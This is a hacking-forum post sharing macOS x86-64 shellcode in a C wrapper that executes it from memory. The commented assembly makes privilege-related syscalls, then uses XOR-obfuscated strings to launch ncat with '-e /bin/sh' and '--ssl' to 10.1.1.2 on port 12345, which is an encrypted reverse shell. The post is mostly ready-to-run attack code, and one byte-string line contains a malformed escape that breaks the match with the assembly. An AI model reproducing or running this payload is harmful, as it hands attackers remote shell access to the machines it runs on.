

Forum:[Hack Forums](#)

Thread: [OSX suid with ncat args asm code](#)

Joel Leagues - January 14, 2018, 10:40 am

```
Code #include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

/*
 * Title   : OSX SUID NCAT
 * Author  : Scourge (C-wrapper by Dustin Schultz)
 * Licence : GPLv3
 *
 *
 * greedy hack forms wants me to spend money to post a link
 * You must search YouTube for "Rmutate Shellcode"
 *
 * or look for my github so google
 * inurl:github "Radicalware"
 *
 * global start
 * section .text
 * start:
 *
 * ; Author : Scourge
 * ; Licence : GPLv3
 * ; Crafted via Rmutate by Scourge
 *
 * xor rdi, rdi
 * xor rsi, rsi
 * mul rdi
 * push rax
 *     mov al, 0x02
 *     ror rax, 0x28
 *     mov al, 0x17
 *     syscall
 *
 *     mov al, 0x18
 *     syscall
 *
 *     mov al, 0xb6
 *     syscall
 *
 *     mov al, 0xb7
 *     syscall
 *
 * ; -----
 *
```

```

* ; >>>>>> hs//nib/
*
* mov rax, 0xccb0a874d8273638
* mov rbx, 0xa4c3875bb64e5417
* xor rax, rbx
* push rax
* mov rcx, rsp
* push rdx
*
* ; -----
*
* ; >>>>>> e-
*
* push word 0x652d
* mov r8 , rsp
* push rdx
*
* ; -----
*
* ; >>>>>> lss--
* push dword 0x73732d2d
* mov byte [rsp+4], 0x6c
* mov r9 , rsp
* push rdx
*
* ; -----
*
* ; >>>>>> 54321
* push dword 0x34333231
* mov byte [rsp+4], 0x35
* mov r10, rsp
* push rdx
*
* ; -----
*
* ; >>>>>> 5
*
* push byte 0x35
*
* ; >>>>>> 2.1.1.01
*
* mov rax, 0x322e312e312e3031
* push rax
* mov r11, rsp
* push rdx
*
* ; -----
*
* ; >>>>>> tacn
*
* push 0x7461636e
*
* ; >>>>>> //nib/la

```

```

*
* mov rax, 0x14cb0676d6b56904
* mov rbx, 0x3be4681fb49a0565
* xor rax, rbx
* push rax
*
* ; >>>>>> col/rsu/
*
* mov rax, 0xaaed0aefdd3a6dc5
* mov rbx, 0xc98266c0af4918ea
* xor rax, rbx
* push rax
* mov rdi, rsp
* push rdx
*
* ; -----
*
* push rcx
* push r8
* push r9
* push r10
* push r11
* push rdi
* mov rsi, rsp
*
*
* xor rax, rax
* mov al, 0x02
* ror rax, 0x28
* mov al, 0x3b
* syscall
*/

```

```

int (*sc)();
char a5c737fa[] =

```

```

"\x48\x31\xff\x48\x31\xf6\x48\xf7\xe7\x50\xb0\x02\x48\xc1\xc8\x28"
"\xb0\x17\x0f\x05\xb0\x18\x0f\x05\xb0\xb6\x0f\x05\xb0\xb7\x0f\x05"
"\x48\xb8\x38\x36\x27\xd8\x74\xa8\xb0xcc\x48\xbb\x17\x54\x4e\xb6"
"\x5b\x87\xc3\xa4\x48\x31\xd8\x50\x48\x89\xe1\x52\x66\x68\x2d\x65"
"\x49\x89\xe0\x52\x68\x2d\x2d\x73\x73\xc6\x44\x24\x04\x6c\x49\x89"
"\xe1\x52\x68\x31\x32\x33\x34\xc6\x44\x24\x04\x35\x49\x89\xe2\x52"
"\x6a\x35\x48\xb8\x31\x30\x2e\x31\x2e\x31\x2e\x32\x50\x49\x89\xe3"
"\x52\x68\x6e\x63\x61\x74\x48\xb8\x04\x69\xb5\xd6\x76\x06\xcb\x14"
"\x48\xbb\x65\x05\x9a\xb4\x1f\x68\xe4\x3b\x48\x31\xd8\x50\x48\xb8"
"\xc5\x6d\x3a\xdd\xef\x0a\xed\xaa\x48\xbb\xea\x18\x49\xaf\xc0\x66"
"\x82\xc9\x48\x31\xd8\x50\x48\x89\xe7\x52\x51\x41\x50\x41\x51\x41"
"\x52\x41\x53\x57\x48\x89\xe6\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28"
"\xb0\x3b\x0f\x05"

```

```

;

```

```

int main(int argc, char **argv) {
    void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE

```

```
    | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);  
if (ptr == MAP_FAILED) {  
    perror("mmap");  
    exit(-1);  
}  
memcpy(ptr, a5c737fa, sizeof(a5c737fa));  
sc = ptr;  
sc();  
return 0;  
}
```